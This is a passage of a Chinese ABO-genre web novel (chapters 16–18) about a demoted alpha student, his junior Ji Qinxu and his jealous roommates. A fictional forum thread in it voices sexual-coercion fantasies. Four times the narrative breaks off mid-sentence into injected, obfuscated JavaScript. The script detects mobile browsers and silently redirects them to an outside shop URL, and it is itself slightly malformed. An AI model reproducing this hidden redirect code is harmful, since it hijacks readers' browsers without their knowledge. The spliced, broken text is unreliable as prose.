他想站起来递给对方,过道里的纪钦栩却忽然转身蹲了下来,一个向上一个向下——戚雪砚抬起一半的腿重新落回座椅,人被硬质椅面掂了一下,胸腔里的东西也随着震动,眼眸微微睁大。 纪钦栩半蹲在他腿边望他,肩宽胸阔姿态坦然,眉眼间依旧没什么情绪,但那张清俊优越的脸就离他的手指不到十公分,周围一圈人都震惊望了过来。 ——“看那些alpha都拜倒在你脚下,很得意是不是?” 言清泉的声音倏然在脑中冒了出来,戚雪砚指尖一颤,飞快将这念头甩出去。 他在想什么他个炮灰,活腻歪了么。 在篮子里胡乱翻了两下掩饰情绪,戚雪砚折断碘伏棉签,稳定手腕,怀着虔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16896006|191398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诚的心情帮纪钦栩处理伤口。 指尖难免触碰到对方的脸,碰一次他的手指就蜷一下,温度就高一点,心就慌一阵。弯曲僵硬的小指发着麻,快要失去知觉了。 好在他很快发现——他触碰到的属于另一人的皮肤是和自己同步升温的。 纪钦栩肤色也白,但不会像戚雪砚那样常年泛出花瓣似的粉意——他是很健康的象牙白,总是无情无绪而显得像尊雕塑。 此刻却浮现了极为罕见的异色。 戚雪砚为自己的发现而好受了许多,轻呼一口气,总算能冷静地将创可贴覆在男生的伤口上,大拇指指腹抹平。 “学弟这么帅的脸,留疤多可惜啊。”他垂头望着对方,低声道。 纪钦栩动了动搭在膝上的指骨,缓慢别开了视线。 “哦。” …… “你上次在竞技场是怎么认出来我的。” 到了马场,戚雪砚先去给Joy喂胡萝卜,顺便想起来问纪钦栩这件事。 胡萝卜从白皙的指尖咔嚓嚓递进了小马的嘴巴,再顺手捋两下顺滑的鬃毛。 纪钦栩靠在旁边的立柱上观摩,答:“猜的。” “什么时候?” 男生的视线移向他的脸,慢悠悠地伸出手,虚空对着比了一下。 骨节分明的手指距离他的脸不到一寸,戚雪砚瞥见对方腕骨上的痣,想起打架一开始对方那个衡量的动作——脸颊一热,微微背过了身。 “……猜这么准啊。”他揉了揉小马的脑袋,小声咕哝。 所以之后的那些耐心的过招…… “你是故意让我赢的?”他从Joy后面露出一双眼睛,问。 纪钦栩不说话,眉梢微抬。这意思就是当然,他现在已经能读懂了。 “好吧……”戚雪砚胡乱点了点头,给自己找场子,“那就不怪你又乱摸学长腺体了,我上次告诉过你的。” 不让摸还故意摸,对他的腺体这么感兴趣?下次不会直接咬上来吧。 想到这,他又随口问了句,“你应该没标记过omega吧。” “……”纪钦栩的凤眸变成了典型的死鱼眼。 “开玩笑的,别生气。”他抿唇忍笑,拎起空掉的小篮子,“走吧,蒋社长在那边。” 男生垂眸看看他,又扫了眼他手上被啃剩的胡萝卜头。 “怎么了,你想说什么?” 纪钦栩不咸不淡地问:“你怎么不吃这个。” “……” 这人是在开他玩笑吧?是的吧。 蒋勇很开心能来个又有力气又能制得住伊森这个活祖宗的帮手,牵来比较听话的苏珊,抬起前蹄给纪钦栩示范了一遍: “不用担心,马蹄和人的手指甲构造差不多,只要认清这个蹄白线就不会弄疼他们。” 然后就想让人上手试一试。 戚雪砚见缝插针地靠了过来:“学弟,要不要把衬衫脱掉再修?” 纪钦栩边戴手套边看他一眼:“不用。” “脱掉吧,马蹄里面很多乱七八糟的,弄衣服上洗不掉的。”他真诚建议道。 “……” 纪钦栩停下了动作。 戚雪砚笑着又走近了一步,在对方晦暗莫测的视线中抬起手,解他校服衬衫的衣扣。 蒋勇在旁边瞪大了眼睛。 ……嗯? 不是? 哈? 一颗。两颗。 很快开到了腰腹的位置。 黑色工字背心下胸廓起伏,男生抬手,握住了他的手指。 墨色染就的眉眼低垂,紫灰色的瞳仁深处荡起情绪,像幽深寒潭的上方雾气动摇。 “你到底想干什么。”纪钦栩低声问。 戚雪砚抬起卷翘的睫毛,微微歪了歪头: “你这么会猜,怎么不猜猜看呢?” 16.想做什么 戚雪砚到底想干什么,他自己也不清楚。 他好奇纪钦栩有没有受伤,伤成了什么样,所以想方设法地来一探究竟,他觉得这是在找乐子。 可他原本应该畏惧这个人的,至少该敬而远之,最开始也的确这样。但几次接触之后,他非但不觉得纪钦栩可怕,还为自己捉弄对方找了很多借口。 ——这人又不知道主角啊炮灰啊什么的,他一个17岁的alpha,时不时被学长逗两句,也没有理由太生气嘛。 何况也不是自己单方面惹他,纪钦栩话虽不多,冒犯他的事可没少做。 戚雪砚想,他或许是在用这种方式填补内心的不平衡。看着世界的天选之子因自己哑口无言的模样,他会有一种获胜的满足和愉悦。 万一真的把纪钦栩惹怒了呢? 戚雪砚压根没有思考这件事。 他对纪钦栩有着不一般的了解,也因此有了很多莫名其妙的直觉——他的直觉让他忽略了这个问题。 男生的校服衬衫还是脱了下来,团成团扔进了戚雪砚怀里,上身仅着一件黑色背心。 肩膀宽阔平直,腰腹劲瘦,紧实流畅的线条像一只充满爆发力的猎豹。除却胳膊上几处淤青,骨头和肌肉的状态都好得很。 戚雪砚上下打量了一番,眸中划过一丝他自己都没察觉的放松。 小铄这家伙果然吹牛了。 纪钦栩依旧冰着帅脸,用一种“满意了?”的眼神盯了他片刻,重新戴上工作手套,走开。 戚雪砚的视线默默追了过去。 过了一会儿。 他习惯性想蹭蹭怀里抱着的东西,发现是男生的衬衫,赶紧端庄地站直身体。 蒋勇走了过来,诧异地问他:“你干什么呢?” 戚雪砚:“嗯?” “别以为我不知道,你就喜欢这种的。”蒋勇戳穿他,“打架都得选个八块腹肌的皮肤。” “我练不出来,看看还不行了?”戚雪砚脸颊明显飘着红晕,低声快速反问。 熟悉他的一秒就知道这是急了。 “看看是不要紧——”蒋勇话锋一转,开启了碎碎念属性,“你那几个室友还不够你看的?你说一声立马表演孔雀开屏,被他们知道你在外面看其他alpha还得了。” 什么跟什么啊,听不懂。 戚雪砚不理他了,鞋底在地面上蹭了蹭,走去了纪钦栩身边。 蒋勇就瞅着青年笑吟吟地弯腰和人说话,修长漂亮的手勾着耳鬓滑落的粉棕色碎发。旁边黑背心工装裤还拎个锤子的年轻帅哥低头专心撬马蹄铁,肌肉随铁锤落下绷紧用力,时不时简短回复一两句。 画面竟十分有张力。 ……校花爱上小混混。大小姐下嫁修车工。公主和马夫私奔。 他脑子里迅速冒出来一连串乱七八糟的。 呸呸呸。 怎么着也得是校花校草倾城之恋吧,瞧瞧这修蹄的技术,掌握得多么好。 不过,这位最强alpha新生有这么好脾气吗? 清清楚楚记得这人踩着贺煊脑袋以及上次把训练场砸出五个大坑的场面——蒋勇抓了抓头发,又发起了愁。 纪钦栩的力气大,下手异常精准,这点小事确实不算难。戚雪砚饶有兴趣地观看了一会儿,绕到另一边帮苏珊的耳朵挠痒痒,忽然发现了什么,越过马背往对方肩膀上端详: “学弟,你还挺时髦的嘛。” 纪钦栩动作一顿,直起了身。 男生个子很高,且东西在后肩上,这样一站起来他什么都看不到了。凌乱微翘的发丝遮挡了阳光,神色分辨不清,逆光的高大剪影颇具压迫感。 戚雪砚也不说什么,手指慢条斯理地顺着苏珊的棕毛,眨眼回望对方。 片刻。 纪钦栩拎着锉刀的手指动了动,一言不发地背过了身。 戚雪砚莞尔,刚想踮脚,又放弃了,转而微微抬起下巴道:“可以蹲一下吗,学弟,这样我也看不见呀。” Alpha依言蹲了下来,没怎么犹豫。 很乖的嘛。 他笑着松开苏珊:“你等等哦,我手上都是灰,洗一下然后拿个毛巾给你擦擦汗。” 说完就快步跑去了旁边的马厩。 蒋勇见状挪了过来,察言观色地打圆场:“你别和他计较啊,他就是偶尔会有点难搞,很偶尔很偶尔的。” 问题在于他自己压根不知道。 纪钦栩一只手随意搭在膝盖上,头也不抬,眼皮耷拉着,似乎没什么情绪。 蒋勇以为这人不会搭理自己呢,听到对方来了句,“他和你也这样?” “那倒没有。”他老老实实摇头。 纪钦栩用锉刀挑了挑地面的碎石。 “和他室友会。” “……”锉刀插进了地里。 但既然强调是偶尔了,所以也不多见。 剩下半句蒋勇没说出口,戚雪砚放好衣服,拿着一条白毛巾回来了。他没着急研究男生左边肩膀上的文身,先仔细帮人擦掉了脖颈后的细汗和溅上去的尘土草屑。 毛巾摊开盖在对方的肩颈上,两只手搓来搓去,还胆大包天地摸了一下后脑勺的头发。 纪钦栩的黑发总是有几绺是翘着的,看起来手感很不错——一摸果然,比邢铄那头刺刺的银发顺滑蓬松得多。 男生转头,面无表情地看了他一眼。 戚雪砚弯着眼睛笑。 于是纪钦栩又转了回去,看样子不打算和他计较。 他挪开毛巾,正要去拽对方肩膀上的黑色背心,手腕冷不丁被从前面扣住了,力道不轻,像极了过肩摔的起手。 这时戚雪砚还没慌,以为对方只是不想他看,转了转手腕示意放开,接着就被猛地向下一拽——身体失去平衡侧趴在了对方背上,腰身也是一紧——纪钦栩另一只手臂从后面捞过了他的腰,竟然就这么站了起来。 戚雪砚被头朝下、从后到前、完完全全翻了个圈儿。 “……纪钦栩!” 眼前天旋地转,他张嘴险些没能叫出声,一阵手忙脚乱胡乱扑腾,好不容易才抓住点东西,又被用力向上抛了起来,剩下的半截话全吞进了喉咙里,最后死死搂住男生的脖子,抱住救命稻草似的不撒手了。 噗通。噗通。 发辫被甩得松散,刘海乱七八糟地贴在脸颊上,被卷翘纤长的睫毛带动着轻微颤抖。青年本就粉白的皮肤泛起更显眼的红,整张脸鲜艳欲滴。 这点动静放在战斗中不算什么,或许是突如其来又很被动,戚雪砚发现自己的心跳得特别快,身体发热,连手脚都有些没力气。 他一定是太愤怒了! 睁开眼瞪向单手托着自己的人,他张了张嘴想要问责,却因近在咫尺的这张脸安静了下来。 纪钦栩抬起眉梢盯着他,唇角这次确凿地勾起了一个弧度,像湖面冰层乍裂,折射出难得一见的情绪起伏。 “……” 很得意吗? 幼稚鬼来的。 戚雪砚又瞪了对方一眼。 空气里弥散起了浅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901942|191398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡的玫瑰香,和夹杂着墨水味的冷冽寒霜气息,交融缠绕,竟没有丝毫排斥。 他没来得及发现。那抹笑意在下一秒烟消云散。 “小雪!” 一道熟悉的嗓音隔着宽阔的训练场,从马场入口处遥遥传来。 戚雪砚倏然扭头,张扬耀眼的红发印入眼帘,燃烧的火焰一般席卷而至。 我靠我靠。 蒋勇在旁边急得团团转。 他这个乌鸦嘴,怕什么来什么!两个S级alpha,动起手来还得了? 要打能不能出去打啊,千万别毁了他的小破马场。 戚雪砚也赶紧按着纪钦栩的肩膀想要落地,腿根却被扣得更紧,男生的手指修长有力,指腹几乎隔着布料嵌进肉里。 “这么害怕?”纪钦栩问。 那双形状优美锋利的凤眸低垂着,近距离和他对视,紫灰色瞳仁深渊暗涌,无端令人心生畏惧。 戚雪砚怔住了,没能第一时间回答。 “帮你教训他。”纪钦栩薄唇开合,语调轻慢。 “不行!” 他呼吸一滞,下意识抬手抓住男生的另一边胳膊,攥得很紧,指尖轻微发颤,“不行。” 对方无声无息地盯着他,长睫覆影,周身的信息素愈发冰冷刺骨。 “我求求你,好吗?” 深棕色的眸光流转着,前一刻的波光潋滟成了此刻的哀求,脸上的桃花绯色也尽数褪去,唯独眼周泛起一圈可怜的红。 为了他那个室友。 ……嗤。 纪钦栩冷不丁松开了手。 戚雪砚脚下没站稳,险些摔了一跤,咬紧了双唇望向对方。纪钦栩却不再理他,转身离开,背影周遭似有无形的结界,将一切隔绝在外。 他心中卷起浓烈难言的情绪。 但没时间回味,贺靖风已经冲到了近前,野蛮得像头拉不住的牛,戚雪砚伸手阻拦都被带得一踉跄,那股情绪顿时转化为了烦躁。 “你想干什么?” “我看见了!”贺靖风指着纪钦栩的身影,“那小子对你动手动脚!看我不收拾他!” 戚雪砚:“不许。” “为什么不许?” 为什么为什么,什么为什么。因为你不知死活。 他轻轻吸了一口气,伸出手拉室友的手腕,尽量温和道,“走吧阿靖,我们回宿舍吧。” 贺靖风纹丝不动,看看他又看看逐渐走远的alpha,金色眸中怒火更炽。 小雪分明就是在维护那个臭小子。 他是自愿和那人有亲密行为的?不行,那更不行。他绝对不能容忍。 “你跟不跟我走?”戚雪砚再问了一遍。 “我不!”贺靖风吼道。 下一秒。戚雪砚悬在半空的手直接扇到了红发alpha的脸上。 清脆响亮,很用力,贺靖风的脑袋顿时偏向了一旁,蒋勇站在旁边傻了眼,差点原地撅过去。 救命啊。他可不想被杀人灭口。 “……你,你打我?” 半晌,贺靖风僵硬地转了回来,满眼可不思议,“你为了那个小子打我……” Alpha英俊的脸涨得通红,青筋暴起,空气中的信息素气味汹涌翻滚。 戚雪砚感受到了S级的压迫,很难受。但面色依旧平淡,甚至笑了一声,轻飘飘地反问: “我打你,你不爽吗?” 啰嗦这么多不就是想来讨打么。 与其被纪钦栩揍,不如他亲自动手。 17.格斗测验 在蒋勇的认知里,贺靖风是穹庭最典型的一类豪门大少爷。 S级alpha,家世优越,父母疼爱,从小顺风顺水地长大,还有个能力出众的姐姐分担压力,且帮他规避了很多纨绔子弟的恶习。 他也是戚雪砚三个室友中朋友最多、相对也最好相处的一个。 裴起昀出身法官世家,又是学生会会长,无论对自己还是别人都要求严苛,时常展现出不近人情的高高在上之感。邢铄更是个阴晴不定的主,除了在戚雪砚身边,几乎没有心情好的时候,在他旁边喘气声大点都得被踹两脚。 贺靖风不会。他骄傲张扬也豁达,鲜少刁难别人,而且讲义气,出手阔绰,被他罩着的在学校里都过得还不错。加上相貌英俊,当年除了戚雪砚,就属暗恋他的最多。 这样的人往往最要面子。可以吃亏,头破血流,面子不能丢。 现在戚雪砚当众……没有很众,但至少有俩人、和几匹马的面扇了他一个耳光,贺靖风竟然还能忍气吞声去拽青年的手,要他跟自己一起走,蒋勇也是大跌眼镜的。 很快他就想明白了。 这人是把那耳光当成撒娇了。 贺靖风还有一个特点比较突出。即,大alpha主义,怜弱,喜欢漂亮的甜美的,会依附他喊他哥的——被他视作暧昧对象的话,发发小脾气也无妨,何况对方现在只有B级。 但戚雪砚真的是他喜欢的那种人吗? 他的巴掌抽到脸上真的是香的软的,不是头晕脑胀眼冒金星的么? 蒋勇记得很清楚,刚入学最开始的那一次测验,戚雪砚是多么毫不留情地把他那三个室友踩在了脚底下。 他相信那是这几个大少爷生平第一次尝到这样的屈辱。 ……算了。 反正不是他能管的事。 望着二人远去的背影,蒋勇擦了擦额头的冷汗,拾起家伙继续修马蹄去了。 …… 并肩走在马场外的银杏树下,戚雪砚手腕被攥得很紧,alpha掌心的热意源源不断传过来,他皱了皱眉,但还是任由对方牵着。 他望见不远处的几株将将绽放的白色异木棉,想起了第一次和纪钦栩在食堂外的接触,又想起方才男生的背影,心口不知为何有些发闷。 贺靖风起初走得大步流星,后来放慢了速度,扭着脑袋回头看了好几眼,终于粗声粗气地开口,说了个风马牛不相及的话题:“小雪,我给你们马场重新装修一下行吗?” 戚雪砚:“为什么。” “你就说行不行呗?或者我直接买下来,注个资的事儿。省得姓孟的他们再惦记。” 戚雪砚回望过去,见alpha僵着背脊,泛金的瞳仁泛起执拗,大有他不同意就不罢休的气势。 类似的提以前就有过,他拒绝了,不希望对方破费——现在对方可能是想以这种方式证明些什么,非要给他花这笔钱才会舒坦。 犹豫了片刻,戚雪砚对他弯起了唇角:“谢谢阿靖。” 贺靖风脸色明显一松,抬手抓了下后脑勺的发:“那什么,周五的篮球比赛你别忘了啊。” “没忘。”他晃了晃对方的胳膊,“啦啦队嘛,我一直记得呢。” 这个动作是很嗲的,青年的表情和嗓音也都柔和了下来。贺靖风瞬间被哄好了,挥了挥健壮的胳膊:“我肯定能超常发挥,打得体院落花流水!” “我相信阿靖。” 但他到底是个憋不住话的,过了一会儿,压着嗓子含含糊糊道:“小雪……你干嘛那么护着那小子啊?” “人家是学弟呀,我不能看着你以大欺小吧。”戚雪砚的情绪也平复了一些,能好好顺毛了,“社长和我好不容易招到一个满意的社员,不许你吓跑人家。” “我给你雇人!雇一百个!排满你们训练场!” “胡闹。蒋勇会嫌弃死的。”他站定脚步,和贺靖风面对面,“懂不懂尊重人啊?别和你那堂弟一样讨厌好么。” 贺靖风冷哼:“今天就是我来了,换成邢铄那小子你看看?” “还顶嘴。” 戚雪砚伸出手指戳他脑门,纤细白皙的指尖轻轻一点,贺靖风顺着往后仰了仰,笑着抓住了那只手。 “好吧好吧。”他说,“你教训我,我爱听。” 金眸和背后的夕阳融在了一起,alpha英俊的脸上布满诚恳,红发也泛起金灿灿的光。 戚雪砚记起当初和贺靖风相熟,是在对方的成年生日宴会上——时间在开学后的两个月,贺家把那场宴会办得无比隆重,大半个穹庭、以前及其他出了名的联邦贵族子弟都受到了邀请。 他以前没怎么出席过类似的场合,不太习惯,就安安静静地坐在角落里吃贺家大厨烹饪出来的美味甜品。 谁知灯光熄灭,所有人都在等待宴会主角吹蜡烛的时候,贺靖风忽然端起蛋糕,穿越簇拥的人群,跑到了他面前。 “我的生日愿望——”alpha望着他问,“小雪,我能像裴起昀那样叫你小雪吗?” 举着大蛋糕半蹲在地上,贺靖风的动作其实有点滑稽,戚雪砚也有些不知所措,沉吟了一会儿小声回答:“可我比你大几个月呀。” “没关系。”烛火映亮了alpha的脸,在金眸中摇曳,被一口气熄灭,“我会永远罩着你的。” …… 贺靖风这样的直白坦诚,他不可能不喜欢。 ……难道不比那个语言能力极度匮乏的家伙好多了么。 心情柔软了几分,戚雪砚摸了摸alpha微红的侧脸,眸中泛起愧疚: “疼吗?” “不疼不疼。”贺靖风眉飞色舞,“挨老婆一巴掌有什么大不了。” “……” 戚雪砚缓慢放下了手,轻声反问: “什么。” “额。我是说……额……” ——你愿意当我老婆吗? 最直接的想法不经过大脑冒上喉咙,贺靖风瞪大眼眸,紧紧闭上了嘴。 …… 戚雪砚晚上又在床上翻来覆去了很久,到最后摸出手机,盯着聊天列表看了看,慢吞吞给自己换了个头像。 ——之前拍的脸上画着兔子涂鸦的比耶照片。 “……” 脸颊莫名一阵发热,他往被子里缩了缩盖住脸蛋,手指依然停留在屏幕上——片刻,重重扔到了一边,背过身抱住玩具小马。 睡觉睡觉。 . 近身格斗是战术体魄测验的最后一项,也是最重要的一项。考核综合了前几项的成绩和信息素等级对学生进行了预排名,依此分为三大组。 甲组为20人,代表了最终能去联邦基地实战演练的人数。丙组基本无缘此项,而乙组则拥有晋级甲组,挤掉其他人的机会。 乙组内绝大多数都是穹庭数量最多的A等级alpha,戚雪砚靠着其他项目全满分被分了进来,需要通过循环赛争夺小组内前2名。 他走进乙组的考核教室,候场席位上的alpha们齐刷刷看了过来,那像舌头舔舐般的视线又出现了。 戚雪砚这次皱着眉回望了一圈,有部分心虚地移开了视线,有的则愈发炽热粘稠——他还在教室的角落看到了抱臂站着的言清泉,应该是拿到了特权进来旁观的。 他想起了上次对方的话。 这些alpha对自己或许不是他曾以为的纯粹的轻视,而是……兴奋么? 那也很正常吧。他遇到难得的对手也会兴奋的。 没再多想,戚雪砚从考核官那里领到了自己的号码。比赛场地划分为两部分,两场同时进行,每组8人一对一单循环赛,一天内就得打完两个组。 最简单的擂台场,没有模拟舱的防护措施和周旋的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16906117|191398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余地,唯一能对抗信息素压制的只有意志力和足够强悍的身手。 而和其他人越级的差距,足以令他行动困难,一招一式都如同处在泥泞之中,腺体也备受煎熬。 戚雪砚摸了摸后颈,目前状态很稳定—— 他来之前吃过药了,而且加强训练了这么久,应该没那么弱吧。 “没想到有朝一日我也能和大名鼎鼎的年级第一当上对手。” 对面的alpha晃着手里的号码牌,对戚雪砚勾起挑衅的笑容:“今天没有别的alpha能帮你啰,等会儿被我压在身下可不要哭哦,要算犯规的!” 正是那天跑到马场带头找茬的黄毛,橄榄球社孟星澜的狗腿子之一。 打架互相压制一下有什么不合理,他为什么要哭? “你以前都在丙组?”戚雪砚奇怪地打量对方,“那你这次很努力啊。” 黄震:“……” “我现在不是第一,裴起昀才是。”他没忘强调。 黄震恶狠狠地磨了磨牙,刚想再喷两句荤话,对面的青年忽然扎起了头发。 和平时随意的半扎不同,戚雪砚这次尽可能地都拢了起来,指尖穿梭在玫瑰棕色的柔软发丝里,修长雪白的脖颈曝露在所有人的视线之中,就连隔壁比赛台的alpha都屏起了呼吸。 勾引! 黄震大惊失色! 老大说过,这绝对是勾引! 嘟。 头发刚扎好,考官示意战斗开始,戚雪砚放下手的同时,长腿已跨出一步,他穿着长袖运动套装,一阵风似地吹到了黄震面前,在对方反应过来释放信息素之前抡出去一拳—— 咔嚓一声。鼻血横流。 黄震气急败坏,口不择言地叫骂起来:“用这种下三滥的招数!真骚!” “?” 戚雪砚被骂得一怔,眼睛睁圆,燃起鲜明的怒意。 他不至于连这种侮辱都听不明白。再联系刚才那句压不压的话,什么意思可想而知。 Alpha皮糙肉厚,流个鼻血也就轻伤,更重要的是意志力不集中和情绪起伏产生的破绽。 戚雪砚下一脚出得更快,含着怒气把黄毛不算轻巧的身躯扫倒在地,手肘勾住对方的脖颈破坏平衡,膝盖顶住背脊不让起来,又是一通让人无暇应接组合拳。 黄震不可置信,拧身想要反抗,青年看似清瘦的身躯却爆发了极强的力量,大腿绷紧贴在背上,每一处关节都由不得他自己掌控。 这不对啊? 他一个B级alpha凭什么? 疼痛如潮水汹涌,暗潮之下还涌起另一种不明的情绪,青年挥舞拳头时紧抿的唇,明亮发狠的棕色眼眸,骑跨在身上逐渐泛红的脸。 原来……被他揍这么爽啊。怪不得那些S级alpha一个个前赴后继的。 黄震再一次走了神。 戚雪砚最后站起身,狠狠用脚底踩住黄毛脖颈后的腺体,碾压,彻底断送这人释放信息素反制的机会。 比赛结束。 “很喜欢被压是吧?” 青年踩着黄震的后颈,说,“你今天走运了。” “……”黄震没能吭声,身体像大型虫子似地挺了两下,被戚雪砚一脚踹到了擂台下面。 趴在木头地板上急促狼狈地喘息,过了好半天,有人走了过来,他这才勉强抬头,顿时露出了惊慌之色。 Alpha面色铁青,极为阴鸷地俯视着他。 戚雪砚也瞧见了那人。 孟星澜,S级alpha,他的老对手了。 甲组的考核比他们要晚,且按名次分为上下半区,上半区的优等生前半程都会高枕无忧。 伸出手指点了点那个方向,青年发丝微乱,盛怒下的脸庞冶丽近妖,一字一顿地警告: “在上半区好好待着,千万别掉下来。” 18.小组突围 戚雪砚不怎么看论坛,在等级跌落后更是不想给自己添堵,但他知道很早之前就出现过一个帖子。 【如果[雪花]不是S级alpha,你会邀请他约会吗?】 【投票:是or否】 1L 楼主一眼屌丝alpha,馋[雪花]身子又怕挨打的怂货[鄙视][鄙视] 2L 家雪就这样人美遭狗惦记 15L 楼主要真是个alpha就别在这阴暗爬行,直接去约成吗?保准你还没碰到[雪花]手指先被他那仨室友打死[赞][赞] 29L 骂楼主前先看一眼投票吧,左边完全射出去了,一射到底 30L 你们alpha果然都是败类! 47L 我直说了吧,我不想和他约会,我想用信息素压制他,像标记omega一样咬他的腺体,把他虐哭,看那张漂亮的脸上沾满屈辱的泪水一定很爽 48L ……楼上一定会死得很难看 49L 不会有人不知道这个论坛的管理员是裴某,而且邢某可以随意开盒吧[冷汗] 50L 你怎么知道我说的不是他俩的心声?我们alpha都一样,说不定他们正对着我这两行字爆冲呢 51L 滚啊!!! 62L 其实他的手腕那么细,皮肤那么白,真的很不像个alpha。我没楼上那么龌龊,我就想搂一下他的腰[鼻血] 63L 上次格斗课我看到了,细细的薄薄的粉粉的,动起来像蛇[流口水],天生就适合被alpha握在手里 64L 啊?但是他的腰很有劲啊,从地上挺腰起身的时候感觉能把我顶飞[害羞][害羞] 75L 你们omega又好到哪里去了呵呵… 76L 至少我们希望他一直都像现在这么强,不会变成你们这些狗东西嘴里谁都能啃的一块肉[微笑] …… 236L 楼上的都给老子等着!不把你们一个一个揪出来挂绞刑架老子就不姓言! …… 那次的动静闹得太大,言清泉和邢铄联手,起码“肃清”了十几个人,不乏家世强大的优等生,孟星澜就是其中之一。 邢铄找到人大打出手,还发展成了群体斗殴,差点蔓延到双方的家庭层面,从此孟星澜和他们宿舍就结了仇。 最后的纷争是戚雪砚平息的,他把孟星澜约出来单挑,全校直播,输了就向当众所有人认错——贴子里提到他如果不是S级alpha怎么样,那大家就都不用信息素打一场。 孟星澜被他狠揍了一顿。 他看到帖子当然很生气,但只当做是自己的手下败将们发泄愤懑的一种方式。就像上次黄震说要他去橄榄球社当经理,洗内裤,除了羞辱还能有别的意思么? 他们总不可能真的期待和自己这个alpha发生什么。 所以打到服气就行了。 可最近的一些事让他的观念开始瓦解,他意识到那或许不是玩笑,甚至言语表露出的只是龌龊念头的冰山一角。 那些人真的在盼望他跌落泥潭,变得毫无还手之力,为的是能更好地容纳他们的意淫。 站在擂台之上,戚雪砚眸中划过些许深思,很快集中注意盯住新的对手。 剩下的人没像黄震那么无聊,纷纷一上来就对他展开了信息素压制。腺体和那日在舞池中一般焦灼刺痛,像有无形的山峦压在身上阻碍着行动,动辄大汗淋漓。 他还有五个对手,这样下去肯定会超出负荷。必须减少对方使用信息素的机会。 戚雪砚一招一式防守着,稳定地降低了对方的速度和戒备心——突然掐了个机会提速,桃花眼变得凌厉慑人,对方在这样的眼神下躲闪了一瞬,招式也露出破绽,被他抓住后颈摁倒在擂台上一通连招。 裴起昀抱着胳膊,无声无息站在教室的后门的另一边旁观。 远高于其他人的基本功,战斗意识,警惕心,能否弥补信息素差距,这些处于中端的alpha似乎没人思考过——B级是底层,人人可欺,A级不能碰瓷S级,这是绝大部分穹庭学生一直以来的观念。 当然了,他们以前也鲜少有和戚雪砚交手的机会。 他移开视线观察观众们的反应,很不巧地和言清泉对上了目光。 Omega趾高气扬地瞟了他一眼。 裴起昀哪里是忍气吞声的性格,当即冷笑:“你在得意什么。” “你说呢?言清泉也抱起了胳膊,语调十分挑衅。 裴起昀不去回应对方话语里的暗指,只强调:“他是我的室友。” “和一个omega抢人,你要不要脸。”言清泉果然恼了,“还是说你想把他变成你的omega?呵,我看你可没这个本事,以前没有,以后也不会有。” 裴起昀冷嗤一声,不高兴再多嘴,转身离开。 二人都没注意到擂台上的场景—— 戚雪砚的最后一个对手凭空摔了出去,脊背重重砸在台下,满脸痛苦地捂住后颈,赫然是被信息素攻击后的反应。 玫瑰棕发色的青年alpha眸中闪过一抹讶异,也抬手摸了摸自己颈后发热的腺体。 嗯? ……错觉吧。 考官按下按钮,判定戚雪砚获胜,他们小组的循环赛第一个结束。 离开擂台把位置让给下一组,他心情还不错,就弯腰顺手把还躺在地上的alpha拉了起来,走向座位的最后排。 言清泉肉眼可见地僵硬了,交叠的胳膊放到两边,眼睛向左边看也不是,向右边看也不是,余光里那个修长高挑的身影越靠越近,他终于下定决心和对方对视—— 戚雪砚对他礼貌一笑,侧身路过了。 路过了…… 言清泉愤怒扭头,看到青年伸手,从后门外揪出一个探头探脑的家伙,正是上次和自己大吵一架的橙毛丫头。 所以他才会走到这边来! 黑着脸咬了咬牙,言清泉忽然想起什么,眼底又浮上一抹高傲,昂起下巴转身离开。 家族里的消息——那个人马上也要转学来穹庭了。他非常期待戚雪砚的情况会不会再次发生翻天覆地的变化。 到那时,就只有自己才能拯救他了。 …… “恭喜戚学长小组突围!”闻瑾羿捧起手里的纸袋,“我给你带了蛋糕!” 戚雪砚接过,目光往她身后偏了下,“就你自己来的?” 闻瑾羿笑嘻嘻的:“你还想谁来啊?” 戚雪砚没说话,打开纸袋里的蛋糕盒看了眼——圆形的蛋糕胚外面涂抹着一层白色奶油,像白花花的雪地,中间还堆了一根橙色胡萝卜。 胡萝卜。 “……”他抿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16912607|191398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 